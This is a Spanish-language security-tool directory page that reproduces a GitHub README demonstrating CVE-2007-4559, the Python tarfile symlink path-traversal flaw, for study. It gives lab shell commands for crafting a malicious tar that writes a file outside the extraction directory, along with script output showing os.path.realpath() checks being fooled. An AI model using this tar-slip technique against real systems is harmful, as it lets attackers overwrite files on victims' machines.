Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2007-4559 | Kitploit
Herramientas/GitHubGitHub/davidholiday/cve-2007-4559
Análisis EstáticoAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónSeguridad de Cadena de SuministroAprendizaje y Educación
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

Ver Repositorio
1hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

demostración de CVE-2007-4559

¿qué es esto?

Esta es una demostración de cómo el manejo predeterminado de Python para la extracción de archivos tar anterior a Python v3.11.4 es vulnerable a un simple ataque de symlink. Las instrucciones a continuación describen cómo crear un payload malicioso. El script untar.py demuestra cómo y por qué funcionan las funciones añadidas en 3.11.4; específicamente, la necesidad de invocar algo como os.path.realpath() antes de cada escritura para cada archivo. El script emplea exactamente el mismo método de inspección que se encuentra en la función extraction filter incluida en Python >= 3.11.4, EXCEPTO que no escribe los archivos en el disco. Como tal, muestra cómo os.path.realpath() no puede resolver correctamente los symlinks y, por lo tanto, permitirá que los miembros del tar se escriban fuera de la ubicación prevista del sistema de archivos.

¿qué hay aquí?

  • instrucciones (este archivo) sobre cómo configurar el sandbox y el archivo tar malicioso.

  • script de Python untar.py que demostrará el "porqué" detrás de la reciente implementación de la validación mejorada de tar en la biblioteca tarfile de Python. Debido a cómo funciona os.path.realpath(), no puedes confiar en él para resolver symlinks a menos que esos enlaces ya estén en el sistema de archivos. Esto significa que no puedes confiar únicamente en os.path.realpath() para inspeccionar las rutas de los miembros del tar antes de extraer el archivo. En su lugar, debes llamar a os.path.realpath() antes de cada escritura para cada miembro del archivo con el fin de garantizar la detección de actividad maliciosa de enlaces. Consulta PEP-706 y la documentación de tarfile para obtener más información.

crear el entorno y el archivo tar malicioso

  1. crear el entorno de prueba
root@kitploit:~
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. añadir la carpeta ./lib al archivo tar
root@kitploit:~
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. reemplazar el directorio ./lib con un symlink del mismo nombre que apunte a "."
root@kitploit:~
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. añadir el symlink "lib" al archivo
root@kitploit:~
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. reemplazar el symlink "lib" con un directorio y un archivo
root@kitploit:~
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. añadir el archivo al archivo tar usando una ruta relativa
root@kitploit:~
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. copiar el tar al directorio de destino
root@kitploit:~
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. desempaquetar el tar. "dangerous_file" se desempaquetó fuera del directorio de destino
root@kitploit:~
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

usar el script de Python

  1. descargar untar.py de este repositorio y colocarlo en el directorio ./lab

  2. ejecutar el script. observa lo fácil que es engañar a os.path.realpath() cuando el symlink malicioso aún no se ha escrito en el sistema de archivos de destino.

root@kitploit:~
snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

lecturas adicionales

  • [Python-Dev] vulnerabilidad de traversal de directorios en tarfile

  • Alerta: una falla de tarfile de Python de 15 años acecha en 'más de 350.000' proyectos de código

  • Publicación de SO sobre cómo extraer archivos tar de forma segura antes de las nuevas funciones de Python 3.11.4

  • issue 21109 de python

  • Declaración de 2022 del antiguo [ret. 2019] mantenedor de la biblioteca tarlib

  • implementación de la nueva función de filtro de extracción introducida en Python 3.11.4

Descargar herramienta